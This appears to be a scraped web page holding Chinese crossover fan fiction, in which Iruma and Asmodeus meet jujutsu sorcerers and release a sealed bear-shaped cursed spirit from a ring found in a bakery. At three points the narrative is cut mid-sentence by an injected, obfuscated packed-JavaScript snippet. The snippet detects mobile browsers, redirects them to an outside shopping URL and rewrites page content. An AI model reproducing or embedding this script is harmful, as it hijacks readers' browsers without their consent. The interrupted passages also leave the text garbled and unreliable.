《向新世界献上魔王》 1. 夜蛾先生?咒术? “入间君,今天也拜托你了!” “好的!交给我吧!” 满口答应的少年有着宝石蓝的短发和深蓝的圆眼睛,个子不算多高,长相可爱,但是莫名流露出一股相当好说话的老好人味道。 店长拍了拍少年店员的肩膀:“那就太好了,我今天有约会,实在是不能留下加班……明天我给你带我女朋友做的小蛋糕!” “没问题的。” 蓝发少年铃木入间笑眯眯地对着店长摆手:“祝你们玩得开心!” “这家店本来都要开不下去了,你一来就什么问题的都没有,入间真是我的福星啊。” “哪里哪里,就算没有我,这么好的甜点也不会被埋没的。” 目送店长离开的背影,入间松了口气,美滋滋啃了一口店长留给他的面包。 超好吃! 入间简直要感动得流泪了。 “啪嗒!” 后厨传来很轻的响动,像是什么被碰翻了。 几乎是本能的,入间微微弯腰捡起地上的菜单,一只小且灵敏的、长着复眼和毛绒绒脸颊的怪物扑了个空,擦着他的肩膀飞了出去。 紧接着,还没等到那只怪物重整旗鼓准备重新瞄准少年,入间手上那只闪亮的黄铜戒指里弥漫出一股紫黑色的烟雾,如同一张大网,将怪物吞吃入腹。 烟雾里蹦出一声意犹未尽的嘟囔,然后凝聚成一个有点古怪的人形,穿着颇为合体的西装,紫黑色皮肤,脑袋却两头尖尖的,一张脸上只有一只又大又圆的眼睛:“入间小弟,这里的怪物越来越少了,我们真的不换个地方吗?” “这个嘛……”少年有点苦恼地挠挠头,“可是,艾利先生,这里包吃包住,我们目前很难找到更好的工作了吧?” “啊……你们人类的生活,居然比还魔族辛苦啊……” 艾利先生发出不满的叹息:“我们真的不能占领人类世界吗?” 入间立刻摇头:“不可以!绝对不要!” . 铃木入间,现年十六岁,人类,但是生活在魔界,至少半个月前如此。 原本他也只是普通人之中的一员,区别可能就是生存能力更强了点、精力更旺盛了点、父母……嗯,更不靠谱点,以至于从记事开始就很少见到满世界乱跑的他们,生活费学费都要靠他自己挣钱……甚至作为父母,把自己卖给了恶魔…… 总之,入间认为自己除了父母比较特殊,其他的都没有什么两样。 但是自从十五岁被不靠谱卖给恶魔,稀里糊涂成为了大恶魔沙利文的孙子,并且在魔界作为唯一的人类隐藏身份、定居之后,他的人生就是不停被关注、遇到各种各样离谱的事情。 而现在,不知道为什么,某天起床打开房间门,一阵白光闪过,他又回到了人类世界。 入间也不知道这算好消息还是坏消息,毕竟他几乎所有的社交圈和人际关系都是在魔界和各种各样奇形怪状的恶魔建立的。 退一万步说,就算别人他不必担心,但是很显然,爷爷在他失踪之后,也一定会不安的吧? 而且他来到的人类世界也很奇怪,完全不是他曾经生活过的地方。虽然地名什么的都很像以至于一开始并没有区分出来不同,可随着在这里呆的时间越来越长,不同之处昭然若揭——至少他生活的世界里,只有形形色色的普通人,而没有这些经常伤害人类、形状奇形怪状还大部分人都看不到的怪物。 好在他带过来的“恶食”戒指能够吞噬魔力,经过尝试,也同样可以捕捉这些怪物,来代替魔力给戒指充能。 也因此,入间才选择了一家濒临倒闭的甜品店。 这里的位置真的很神奇,不知道为什么每天都有各种各样的怪物被吸引过来,藏身在戒指里的灵体艾利先生也因此可以从原来的烟雾恢复成人形,甚至于现在偶尔还能变成成年人的大小。 “那个……请问,你能看到它们,对吗?” 突如其来的声音吓了入间一跳,转过头,不知何时,甜品店里进来了一位身材高大的寸头男人,看起来简直是什么可怕的□□老大。 入间的心都要被提到嗓子眼,结结巴巴地回应:“啊?什、什么……客人您需要点什么吗?” “你不用害怕。”男人指了指橱窗里的芒果小蛋糕,“请给我来一份这个。” “好、好的。” 入间打包蛋糕的时候,男人也在一旁解释:“抱歉,我没有恶意。自我介绍一下,我是咒术高专的老师夜蛾正道,这是我的名片……刚才我看到了你和咒灵、也就是那个小怪物打斗的画面,认为你应当有咒术师的天赋,才会冒昧闯进来。” “咒术……高专?”入间迷茫地指了指自己,“欸?我吗?” “入间小弟,我觉得很不错啊!”艾利先生激动起来,“一听那里就有很多能量……我是说,咒灵,我们都不用担心魔力供应问题了!” “艾利先生,嘘——” “这是你的……召唤物?”男人听着他们用一种奇怪晦涩的语言进行飞快的交流,试探着询问,“这是你们之间的加密语言吗?” “啊……是的。” 入间这才后知后觉地发现,自己跟艾利先生的沟通直接使用了魔界的语言,这让他稍微松了口气:“如果方便的话,请您再给我们介绍一下关于咒术的事情吧。” 于是,入间这才算是彻底弄清楚了这个世界的大致信息。 这个世界虽然确实是人类的世界,但是也存在着类似于“魔力”的能力,或者说,这种能力被称之为咒力。咒力来源于负面情绪,人人都有,只有少部分人类能够控制并且运用。这些能够使用咒力的人,就是咒术师。 因为普通人无法看到咒灵,也无法控制自己身上的咒力,所以他们的这些咒力很容易随着负面情绪的聚集而汇聚成不同等级的咒灵。 近日以来艾利先生吞噬的那些小怪物,就是四级咒灵蝇头,常见且多,等级很低,其实用木棒之类的工具就能应付。 “咒灵等级越是往上,祓除就越麻烦。”夜蛾沉吟道,“这里居然会源源不断吸引咒灵吗?那我建议还是调查一下为妙,毕竟很有可能下次被吸引过来的,就不只是蝇头这种等级了。” 入间表示感谢:“好的,我会转告店长的。” 可是,他听完夜蛾先生的介绍,总觉得这样的世界有种说不出来的奇怪。 最后,还是艾利先生一针见血:“因为某种程度上,这些咒术师,是死在自己人手里吧?” 是这样的,普通人的负面情绪产生咒灵,咒术师控制自己的咒力,不会产生咒灵却要救那些咒灵的产生者,还得饱受误解,一直生活在阴影里。 这样,明显不是一个能够长久的世界发展趋势啊!产生矛盾、或者冲突,简直是可想而知的事情。 艾利先生摇摇头:“哎呀,去当咒术师可不算是什么划算的买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600116|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖呢。难怪这个家伙会发现你有天赋就冲了过来,估计他们学校也是挺缺人的。” “那我们还是婉拒……” “为什么要婉拒?”艾利先生直接敲他这颗傻乎乎的脑袋,“这里的能量多稀缺你不知道吗?区区蝇头怎么能够喂满暴食戒指,入间小弟,你也不想让我饿到奄奄一息吧?” “可是……” 眼看入间还在试图挣扎,艾利先生立刻使出杀手锏:“拜托了!入间小弟!” “拜托了”这句话一出,就像是触动了什么底层代码,入间下意识露出一个肯定的微笑:“可以啊!” 等他话说出口才反应过来不对,欲哭无泪地看着诡计得逞正在扭来扭曲的艾利先生:“艾利先生!” 你明明就知道我没有办法拒绝别人的请求的! “对不起嘛,可是人家真的觉得呆在这里很无聊啊。”艾利先生理不直气也壮,“好啦,总之快答应这个大块头,然后我们一起去那个什么咒术高专啦。” “艾利先生!” 经过激烈的探讨之后,入间终究还是输给了心眼子超多的腹黑恶魔,成功被绕进了艾利先生的逻辑里,也就对着夜蛾点了点头:“谢谢您,夜蛾先生,我们考虑……” 话音未落,夜蛾微微抬手,阻止了入间接下来的发言:“不管你是同意家入高专还是婉拒,我都希望你能再多考虑几天,毕竟成为咒术师遇到的风险一定会比往常还要大。明天和后天我都会再来的,希望那时候你能给我你自己谨慎思考过后的答案。” “作为一个老师,我要对我的学生负责。” 夜蛾知道,那些因为看到咒灵而长期被当异类排斥的孩子很容易因为他们这些教师口中的“理解”,和同类的诱惑而选择加入高专。 可是,这么多年以来,他教出来的、那些来自于普通家庭的学生们,不是死在咒灵手里,就是因为上层的猜忌和倾轧而成为炮灰。 在又一次得知自己教的三年级里最后一个学生也因为战斗去世,夜蛾选择了自己主动揽过招生的职责,让那些孩子们经过一段时间的谨慎思考之后,再决定自己要不要成为咒术师。 不能再这样了,夜蛾摸着袖子里温热的、闪着光的咒力核心,默默想着。 如果趁着孩子的一时冲动就让其陷入未来痛苦的境地,那还不如由他陈述利弊,等那孩子彻底了解关于咒术界的现状,再做出自己的选择。 “请稍微等一下!” 身后是少年高声请求,夜蛾也不由得稍微放慢了脚步:“你……” “感谢您的善意。”入间快步走过来,把一大袋面包塞给夜蛾,“您是一位好老师,我曾经的老师也是这么善良的恶……的人,这是一些我自己烤的面包,因为不太好看所以被留下来了,希望您不介意。” “我……” “明天和后天,也期待您的到来。” 夜蛾现在的形象实在算不上从容。事实上,他在四个小时前刚从某个深山老林里出来,收敛完了自己学生的遗体,然后马不停蹄地接过招生的重任。 因为长时间滴水未进,而来到这家甜品店,发现入间的“天赋”算得上是意外,他要去的下一家,才是此行的目的地——某个颇有点咒术师天赋的孩子,不知道从哪里知道了咒术高专以及联系方式,并且向他发出求援。 “好的,谢谢你。”夜蛾不知道为什么喉头有点哽咽,摸了摸入间的脑袋,“谢谢。” 2. 阿斯莫德登场! “这家伙人还不错嘛。”艾利先生打量着不远处的夜蛾正道。 是的,今天夜蛾也是如约而至,不过因为这副看起来就很不好惹的样子,显得跟甜品店格格不入。大概是防止吓到客人之类的,昨天和前天都是晚上过来的,今天不知道为什么提前了很多。 “入间,你不会是得罪了什么人吧?”店长不确定地询问,“怎么感觉那个大块头男人一直在看你?昨天他是不是也来过……” “啊这个……”入间挠头,一时间不知道怎么跟店长解释目前的情况,“我确实认识,夜蛾先生是个很好的老师。” “是老师啊……”店长松了口气,“那还好那还好,看样子一定是体育老师吧,哈哈。” “嗯……” 这个入间还真不太清楚。 “爸爸!” 外面跑进来一个圆滚滚的孩子,看上去就很结实,脸蛋软绵绵的,笑起来还会有一点酒窝。 “好久不见。”那孩子身后跟着进来的是一个娇小冷淡的美丽女人,她带着孩子坐在夜蛾对面,点了点头,“今天和你见面,是想讨论关于我们之间的划分问题。” “好久不见,利枝。”夜蛾冲着女人点了点头,然后摸了摸孩子的脑袋,“好久不见,和哉。” “先去旁边跟里香一起玩,好不好?”女人轻轻把孩子推到隔壁桌的客人身边,似乎彼此熟识,“麻烦你们帮忙照顾一下和哉,多谢。” “没问题!我会帮忙照顾他的!”隔壁桌是一对母女,那个女儿似乎非常开朗的样子,嘴角还有一颗俏皮的小痣,“放心吧,利枝阿姨。” “那就交给里香了。” 确定孩子们大概听不到这桌的声音之后,夜蛾有点胆怯地开口:“我们……” “多余的寒暄就免了。”女人对着孩子露出的表情是温柔的,像是初春解冻的冰面,但是看着夜蛾的眼神实在算不上友好,“总而言之,和哉的抚养权我不可能给你。你知道的,这一行的风险太大了,不适合孩子成长,而且一个随时可能抛下他的父亲我也不会放心。” “我可以放弃离婚之后的抚养费,但是你们之间的见面我希望尽可能减少。反正你经常在外面,和哉也已经习惯了。” “我明白……”夜蛾深深地叹了口气,“我明白,是我一直亏欠你们。抚养费我会定期给……至于见面,也确实不太合适。” 原本严阵以待防止夜蛾暴走的店长借着给他们上柠檬水,偷听谈话内容,然后一脸震撼地回到了后厨。 大概是秉持着吃瓜也是独乐乐不如众乐乐,他甚至伸手拍了拍迷茫的入间:“哇塞,□□大佬也会有婚姻危机吗?” 入间的纠正虚弱得已经连他自己都有点动摇了:“不……夜蛾先生真的只是一位老师……” 好尴尬,因为招生所以带他了解咒术界,每天晚上趁着人少的时候过来科普就算了,为什么今天还会带着人来谈事啊……真的好尴尬,感觉这样旁听别人的家事也超级冒昧啊! 正说着,忽然传来喧哗,打破了暂时的和谐。只见一只巨大的、甲壳虫形状的咒灵人立而起,将充满恶意的触须对准了正浑然不觉的孩子们。 原本已经吃完小蛋糕,带着和哉上车的里香母女,像是被什么狠狠推了一把,妈妈摔倒在了地上,而和哉和里香因为年纪小体重轻,踉跄了两步,居然就直挺挺被推到了马路上。 最恐怖的是,一辆明显超速的面包车,正朝着他们驶来! “危险!” 入间想也没想就冲出柜台,那一瞬间好像一切都被虚化、拉长,所有人的动作都变得异常缓慢,他口袋里某张画着召唤图案的白纸被灼烧成一团灰烬,仿佛也只是瞬息,同步出现的一团粉色身影将茫然无措的两个孩子一把抱回店内,和车子险之又险地擦肩而过。 那人在甜品店门口随意放下孩子,神色冷淡矜傲地整理了一下自己那身白色的礼服,红宝石一般的眸子扫过四周,眼角弧度凌厉,像是从什么复古的欧式宴会里走出来的贵族少爷。 利枝也顾不得跟夜蛾拉扯什么离婚事项了,看到孩子遭遇危险,几乎是立刻起身要往外冲。在看到孩子们被救下来之后简直浑身虚脱,直挺挺往下滑,还是夜蛾一把扶住了她,才不至于整个人委顿在地上。 即使是车祸也没能让这个孩子露出恐惧的神色,孩子们很难理解这件事的危险性,于是事故也就被当成小事,不值一提,所以看到爸爸妈妈之后他并没有害怕,而是一如既往地活泼招手:“妈妈,爸爸,我在这里。” “实在是太感谢了……”利枝对着救下孩子们的人深深鞠躬,语气里是忍不住的哽咽,“真的,太感谢了。” “不值一提。”那人只是冷淡而矜持地对他们点头,“对孩子下手,是最令人不齿的弱者行为。” 这句话将意外定性成蓄意,其中包含的意思让夜蛾不由得侧目——难道他也有看到咒灵的天赋吗? 无怪乎夜蛾会这么想,毕竟这种超出常人的速度和身手,除了身边那些会用咒力强化身体部位的咒术师,在现实生活中实在是少见。 “你是不是也能看到……” 夜蛾想问他,但是介于是在大庭广众之下,想了想,还是没有问下去,而是拿出自己的名片:“你好,我叫夜蛾正道,非常感谢你救下了我的儿子,这是我的名片,如果你有需要的话可以找我。” “多谢,我刚好要找一个人,他叫……” “阿兹君?” 赶到门口的入间充满迟疑地确定本不应该出现在这里的来人身份。 于是,夜蛾就在短短数秒内看到了一场堪称卓越的变脸,那人的表情像是见到了什么失而复得的珍宝,冷淡的表情烟消云散,狂喜和珍重交织,最后仿佛一阵风般来到入间面前,单膝下跪:“入间大人,我终于找到你了!” 即使是沉浸在惊魂未定中的围观群众也不由得陷入了沉默:“……” 想不到你年纪轻轻还有两副面孔。 好吧,即使日本的二次元文化非常盛行,大家也没见过这样夸张的架势,一时间众人瞩目,入间也在短暂的遇到熟人的兴奋过后,后知后觉开始面红耳赤,索性抓着来人进了甜品店。 他们是进去了,但是关于他们的话题一时半会儿可没那么快能够平息。 “好帅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600117|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……执事一样的帅哥……” “看起来好像是忠犬类型呢!不知道是什么动漫的coser……” 而入间一边对着自己能看到的所有人疯狂道歉,一边把人拉到杂货间,充满迟疑地确定眼前人不是自己出现幻觉看到的虚像:“阿兹君,是你吗?你怎么会出现在这里?大家呢?在那边我是什么状态?” “是的,是我。”阿斯莫德即使是在这么狭窄的小杂物间里也要秉持着他的礼仪风度,“我就是您的追随者,掌管破坏与美德之家系的恶魔,阿斯莫德·艾利斯。” 站起身不难发现,阿斯莫德的身量比起入间更加高大,优雅颀长,看着入间的眼睛却是亮晶晶的,充满期待与忠诚。 入间抓了抓脑袋,表情却像是松了口气:“阿兹君果然还是那个最讲究礼仪的同学啊。” 本来是有点尴尬的吐槽,但是在这样贸然且莫名其妙来到的陌生世界里,入间也不得不承认,阿斯莫德的出现,在某种程度上,给了他相当强烈的安全感。 “入间大人在魔界……现在确实是失踪状态。关于您的消失,沙利文大人把消息全都压了下去,只说您在修行。但是我一直认为,入间大人不会贸然离开,所以想尽办法追踪,然后感觉到像是被什么牵扯召唤,睁开眼睛就出现在了这里。” 阿斯莫德说着,还露出一个不解的表情:“说来奇怪,就像是被什么不怀好意的能力操纵了一样,还没来得及站稳,我的身体自己动了起来,救下了路边被莫名其妙巨兽攻击的两个孩子。倘若不是和您见面更要紧,我必将那不知天高地厚的兽类燃烧殆尽!” 啊……阿兹君说的,好像是汽车……好吧,魔界跟现代社会确实有很多不一样,看来帮助阿兹熟悉这个世界也得提上日程了。不然回头被当成恐怖分子,那可真是说不清楚了。 听到阿斯莫德的叙述,入间也不由得想象究竟经历了怎样的艰难,他才能跨过不仅仅人类世界和魔界界限来到这里,一向优雅注重形象的恶魔贵族怎么会这样狼狈出现在街头…… 但是最后入间什么都没有问,只是伸出双臂拥抱他:“太好了,阿斯莫德君……你能来,真是太好了……” 阿斯莫德被入间抱住,简直从脑袋红到脚后跟,却还要撑着优雅从容的架势,半响大脑才从过热中解脱出来,双手环住入间,有点笨拙地拍了拍他的后背。 这是何等的荣幸……阿斯莫德两眼放空地想着,被自己追随的未来君主这样亲密地拥抱着,成为他的左膀右臂,在陌生的世界大展身手……何等幸福…… “不过,太危险了,怎么会被控制呢?”入间很快意识到这样一个隐患,“阿兹君有没有头绪?” 阿斯莫德思索片刻,摇了摇头:“我一时半会想不到人选。” 而戒指里的艾利先生默默飘出来,为这俩人、咳,一人一魔的脑袋叹了口气,变出一张纸,画上召唤阵的图案,朝着入间晃了晃:“入间小弟,你是不是忘记了你的口袋里曾经有什么了?” 入间:“……” 入间:“?!” 少年的脸上闪过一丝震悚——阿兹君,不会是我召唤来的吧? 3. 我是不是你最喜欢的人 艾利先生关于召唤的提醒相当及时——毕竟入间就有这样的前科。 当初巴比鲁斯学院的某节课程,是教同学们用血点亮召唤魔兽的法阵,驯服它们,成为自己的使魔。而作为人类混迹其中的入间,在划破手指之后,召唤出来的……是授课老师…… 因为入间毕竟是人类,所以确实可以召唤恶魔,而不是……嗯,别的什么。 这次穿越过来,他的口袋里,刚好装着一张应同学们的请求,准备示范给学弟学妹们看的、画着召唤阵的纸。 此刻他的能力也在稳定发挥着,比如危机关头不知道怎么就跳过了涂抹鲜血这一步,成功在异世界召唤来了好友阿斯莫德,还控制其出手救下那两个孩子。 太奇怪了,他可是直接召唤出来一个恶魔耶,真的不需要鲜血吗?至少入间从未见过能够不需要代价直接召唤来的魔兽。 但是他相信艾利先生不会骗他,能让艾利先生这样确定,一定是捕捉到了召唤发动的波动。 当然阿斯莫德是没法想到其实“罪魁祸首”是入间的,不怪他,入间在巴比鲁斯学院的身份是恶魔,就像当初谁能想到恶魔能召唤恶魔一样,谁能想象到在已经签订了使魔的情况下,入间召唤来的不是自己的使魔,而是自己的同学呢? 艾利先生仗着只有入间能够见到自己、和自己沟通交流,干脆绕着他俩团团转,时不时发出“啧啧”的声音。 “艾利先生,你帮我找到原因了吗?我应该没有受伤,让血滴在召唤阵上……对吧?” “入间小弟,免费的才是最贵的。”艾利先生摇了摇头,在入间带着期待的目光下语出惊人,“你确实没有用你的血,但是你和被你召唤过来的家伙的灵魂……绑在一起了。” “欸?!” 众所周知,人类召唤恶魔,在各种传说里,都是用灵魂作为代价的。但是入间的特殊性让他在隔着世界召唤恶魔的时候,自己灵魂和阿斯莫德的灵魂进行了某种程度上的纠缠。 在意外发生时,入间过分强烈的请求直接让召唤阵发出共鸣,并且选择了某种程度上他最需要、也是现在和未来时间线上,灵魂的纠缠共振最明显的恶魔——也就是阿斯莫德。 “不过,放心吧,入间小弟,应该只有他这一个例外,世界是不可能放更多的恶魔进来打破平衡了。” 入间的身份相当于咒术师,阿斯莫德是恶魔,代表的是“咒灵”。这个热爱端水平衡的世界,一时半会应该不会再放点恶魔之类的进来,扰乱因为他们俩而暂时出现的平衡。 总之,好消息,入间不至于牺牲灵魂;坏消息,他把阿兹君拖下水,还一时半会找不到办法把人送回去了。 好消息也好不到哪里去吧喂! “入间小弟,你不会真的想告诉他情况吧?” 艾利先生毕竟是跟入间相处过很长一段时间的,几乎是入间准备开口,他就意识到了什么。 入间……入间当然要告诉。 莫名其妙把好端端的人,呃,恶魔召唤到陌生的世界已经很过分了,如果还要隐瞒的话,那不是太恶劣了吗? 入间唯一要瞒着阿斯莫德的,可能就只有自己是人类这回事了。 而阿斯莫德的反应也可以说跟入间天造地设,他在知道自己来到异世界是因为入间以后,直接发出崇敬的感叹:“不愧是入间大人!” 入间:“……” 入间:“啊……” 艾利先生:“……” 这两个家伙真是离谱到一块去了。 在得知自己来到这个世界的原因后,阿斯莫德的重点出现了严重的偏移,他看着入间那双纯粹又诚恳的深蓝色眼睛,里面映着的全是他,这种感觉真是……让人热血沸腾:“所以入间大人召唤的是我,不是别人,这也代表着我是入间大人最忠诚的下属……我是说,最信任的人,对吧?” “啊……” 眼见阿斯莫德还要讨论所有同学里自己最喜欢谁,入间汗流浃背,连忙跟阿斯莫德介绍起了这个世界的情况。 阿斯莫德听完之后,只是松了口气,诚恳地看着入间:“如果我不在入间大人身边,不能保护您的话,我会比来到陌生地方更痛苦。” 然后也不顾自己身上的白色礼服会不会出现褶皱、形容会不会更加狼狈,抓着入间的手发自内心地心痛:“真是岂有此理,幕后黑手胆敢让入间大人遭受这样狼狈的苦楚……我一定会在抓住他之后将他送入刑讯室亲、自、招、待!” 不,他有吃有喝还很快就找到了工作,倒也没有那么悲惨。 入间不知道自己为什么脸颊发烫,用手贴了贴之后下像是明白了什么:“店长又开始烤面包了,杂物间会有点热,既然阿兹君来到这里了,要不要顺便品尝一下这里的食物?” “当然!能让入间大人如此青眼有加的食物,一定非常美味!” 艾利先生看着阿斯莫德的无脑吹捧,一时语塞:“……” 就是说,入间有对什么食物不感兴趣的时候吗? 现在的年轻恶魔,滤镜是不是有点太重了? 不过看着脸颊发红、神思不属的入间,宽容的艾利先生没再继续这个话题,而是问起了别的:“还以为你会一鼓作气顺便把自己人类的身份坦白呢,毕竟现在即使他知道你是人类了,因为契约的原因也没法伤害你。” “阿兹君是非常好的人。”入间不假思索纠正,然后挠了挠脑袋,“关于我的人类身份,当然会坦白的,但是不应该在没办法送阿兹君回家的情况下吧。” 这样的话,除了增添阿兹君和这个世界格格不入的寂寞以外,毫无用处。 当初来到魔界的时候,爷爷对他很好,他也遇到了很好的大家,才逐渐适应了在魔界的生活。 那么就算坦白,也至少得等到阿兹君适应了在这个世界的生活之后吧? “入间,我要开始烤面包了,来帮把手吧!”店长确实人还不错,硬是等到他俩从杂物间商量完出来,才开始干活。 “哦,好的!” 听到干活,熟悉的打工之魂重新熊熊燃烧,入间积极地应了一声,把什么纷纷扰扰都抛在脑后。 “店长,这是我的朋友阿斯莫德,可以让他在外面坐坐吗?他吃的东西就算在我头上。” 店长拍了拍他的肩膀:“哦哦,是外国人吗?不用这么客气,别说入间是我们这家店的福星,你的朋友他可是救了人呢,他要吃什么,我请客!” 阿斯莫德的伙食完全不用入间操心,甚至于也不需要店长请客,心有余悸的家长们恨不得把整个店买下来送给阿斯莫德,用来感谢他对自家孩子的援救。 这边,夜蛾也来到入间身边,小声确认这个“同伴”是否也是一个没有被发掘出来的年轻咒术师。 “啊……应该算是的吧?” 在这段时间里,夜蛾带来的资料已经介绍了关于咒术师的信息,能够使用咒力(魔法),能够看到咒灵,还能使用“术式”对咒灵进行祓除。 综合以上的条件,想了想,入间坚定地点头:“是的,阿兹君就是咒术师。” 发掘新的咒术师对于夜蛾来说算是意外之喜,而这次车祸之后,他的妻子利枝坚定认为他和跟“咒术”有关的东西都只会害了他们的孩子,因而离婚的念头更加强烈。 这可能就是祸福相依吧。 因为成为咒术师是融入这个世界的一个相当有利的途径,入间还是同意了入学申请。 总之,入间和阿斯莫德在新世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600118|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界的生活,开始了。 “虽然你们还没有正式入学……”夜蛾将一叠资料交给入间,“不过,我觉得,你应该会对这个感兴趣。放手去做吧,如果有不明白的随时问我,结果整理成报告交上来。” 入间接过那叠资料,发现里面赫然是关于他所工作的甜品店整理成的事件。 而他们要解决的第一个问题,就是调查入间就职的这个甜品店,到底为什么饱受咒灵的青睐。 “啊……老师的副职,居然是私家侦探吗?”店长有点费解,但还是“不理解但是尊重”,毕竟那家的孩子差点在自己的地盘出事,所以来调查一番也是情理之中,不过……“入间君,你辞职就是为了跳槽去当私家侦探的吗?这种职业跨度会不会太大了点?真的没问题吗?” “您就当是入学之后的实践活动调查吧……”入间有点为难地挠了挠脑袋,“抱歉啦,因为还是想在上学之前了解一下为什么我来之前这里总是事故频发,毕竟浑然平静下来,也不一定是我的原因对吧?” “况且,如果因为这种奇奇怪怪的小动作,让这样好的甜品店倒闭了,不管是谁都会觉得惋惜的吧?” “嘶,有道理!”店长在愁眉苦脸地思索片刻,拍了拍入间的肩膀,一副非常感动地样子,“真是个好人啊,入间君!” “哈、哈哈……” “其实这家店……也是我捡漏拿到的。”相信了入间借口的店长摸着下巴回忆,“因为是交通非常便利的地方,本身价格却压得非常低,以为是看上了我的手艺,前任老板才会迫不及待地把店交给我来着……” “完全是一个空有手艺的傻白甜呢。”艾利先生坐在入间的肩膀上吐槽,“也难怪能这样放心入间小弟在这家店工作又忽然离职,毕竟都是不聪明的家伙啊!” 入间:“……” 膝盖,痛起来了! 这边店长还在滔滔不绝:“一开始只是已经开封的面粉袋子会莫名其妙地倒下去,后来就更奇怪了,明明没有什么客人,但是每天都腰酸背痛……” 完全是被咒灵祸害了啊,店长! “所以我有点担心会不会是因为有老鼠蟑螂之类的……就请了专业人员帮忙清理。连前任房主藏在角落里的戒指都翻出来了,也没看到一只老鼠……当然,我也考虑过会不会是竞争对手,但是也安装了监控,就是什么都查不出来,还让监控莫名其妙凭空坏掉了……” “不过否极泰来嘛,本来都打算关门了,谁知道入间君来了,从那以后,就再也没发生过类似的事情……” 听起来真的很像什么恐怖的灵异事件啊,也亏得店长能够这么心大。 “戒指……”优等生阿斯莫德像是想到了什么,“戒指能不能交给我们看看?” “当然可以!”店长从装着坚果的橱柜里找出一只盒子,“呐,就是这个,我也找过前任房东,但是……一直没有回复呢,只好暂时代为保管,毕竟还是之前东西,不能真的不要了吧……” 嗯?话题跳跃得是不是有点太快了? 对上入间有点迷茫的表情,艾利先生现身提醒:“除了咒灵,还有咒具和咒物!” 有了艾利先生的提点,入间恍然大悟。 咒灵不会无缘无故地聚集在某个地方,能够吸引咒灵的,除了糟糕的环境,比如充满负面情绪的医院、殡仪馆等地方,就是凝聚着诅咒、会吸引咒灵前赴后继的咒物了。 甜品店能产生什么负面情绪呢?当然是有人用咒物吸引咒灵的可能性更大。 店主给他们展示红丝绒匣子里闪着温润光芒的白色戒指:“说起来,这个戒指,真的很漂亮呢。如果不是有失主,那我还真想送给女友。” 这种东西是可以随便送人的吗?! 4. 咒灵熊魂 艾利先生打了个响指,入间的眼前一亮,看到了涌动着的黑色雾气。 不同于艾利先生组成的紫黑色,这个黑雾就是纯粹的黑,黑得不祥,甚至于让人有点后脊背发凉,直觉疯狂叫嚣着逃跑。 “入间小弟,收回你的脚!” 艾利先生气急败坏的声音唤回了入间的神智。 入间回过神,才发现自己不知道什么时候已经朝后迈出了步子,而阿斯莫德充满关切地看着自己,像是随时准备冲过来。 “没、没事……”毕竟曾经各种野外生存,入间在严苛艰苦的生活环境里学会的重要技能就是对于危险的百分百感知和闪避,没想到在咒物面前居然会下意识地遵循本能试图远离,“这个戒指……恐怕就是各种奇怪现象出现的源头吧?” 店长“哈”了一声,笑着拍了拍入间的肩膀:“入间啊,没想到你居然还会相信灵异事件,果然还是个孩子呢。” “你这个差点被坑死的傻子在说什么呢?”艾利先生翻了个白眼,用刻薄平等地攻击所有人,“果然,能跟入间小弟相处的人,不管原本如何,都会变得不聪明。” 被无辜中伤两次的入间:“……” 入间:“诶,我吗?” “这副样子看起来更不聪明了。” 呜呜—— 不知道为什么,入间那种如影随形的不祥预感越来越强烈,不知道是不是过于强烈的恐惧产生的幻觉,耳畔回荡着粗重的喘气声,有种被什么体型巨大的东西盯上的错觉。 “咔嚓——” 那只白色的、镌刻着花纹的戒指在阿斯莫德的掌心发出支离破碎的声音,黑气愈盛,一种难以言喻的压力在小小的房子里节节攀升,即使神经大条如店长,也意识到了有什么不对:“嘶——我怎么忽然起了鸡皮疙瘩?” “看样子封印破了……里面的东西也被放出来了。” 伴随着一阵阵幽远森然的铃铛声,一只高大的、皮肉中散发着腥臭的黑熊出现在了甜品店内,它穿着僧袍,左爪举着一只皮质大鼓,右爪抓着长长的骨头制成的鼓槌,随着左爪的摇晃,皮质的鼓面时不时凸出一块狰狞的人形。 “呕——”能被封印的咒灵,就没有什么好相与的。大概是受到了咒灵的影响,加上直觉带来的没来由恐惧,饶是店长再如何镇定,在亲眼看到这一幕后也不由得毛骨悚然,扶着洗手池干呕。 “人、都是人做的……呕——” 显然,这完全是意料之外的事情,即使是夜蛾也没想到入间和阿斯莫德的运气会差到这种程度,刚好就撞到了封印破碎,释放出一只强大的咒灵。 原本正常情况应该是找到咒物,立刻打电话给师长请求支援,或者在允许的条件下直接拿着咒物送去最近的寺庙或者是别的什么可靠咒术师身边。但是显然,现在已经是箭在弦上,完全来不及也没有办法求援了。 这样不稳定的任务,也是咒术师死伤惨重的重要原因之一。 